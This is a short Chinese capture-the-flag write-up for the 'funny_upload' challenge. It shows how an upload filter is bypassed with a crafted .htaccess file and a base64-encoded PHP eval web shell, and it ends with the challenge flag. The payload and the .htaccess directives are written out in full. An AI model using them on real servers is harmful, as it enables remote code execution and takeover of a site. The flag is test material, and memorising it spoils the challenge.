[Dest0g3 520迎新赛]funny_upload
打开靶机抓包发现过滤代码
![](https://img.shuduke.com/static_img/cnblogs/blog/3518346/202409/chwaklsg_ygdl.png)
发现.htaccess能上传后传入图片马
![](https://img.shuduke.com/static_img/cnblogs/blog/3518346/202409/cumkbccq_ejes.png)
发现内容对<?进行过滤
![](https://img.shuduke.com/static_img/cnblogs/blog/3518346/202409/cxgpjbug_fwbp.png)
我们换一种方式写后门代码
<script language="php">eval($_POST['cmd']);</script>
![](https://img.shuduke.com/static_img/cnblogs/blog/3518346/202409/doffuqyi_pnxr.png)
写入成功后发现没有回显
![](https://img.shuduke.com/static_img/cnblogs/blog/3518346/202409/agxrbehd_7y1s.png)
查资料发现可能使由于php版本过高不支持<script language="php">eval($_POST['cmd']);</script>
我们只能将注入语句编码后,在.htaccess配置文件中对文件进行解码
<?php@eval($_POST[1]);?>
编码为:PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
在.htaccess文件中进行解码 加入下面内容
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"
连接蚁剑查找flag
flag{cc9f0654-9bb1-4de8-9c4b-0d9f8af1d60d}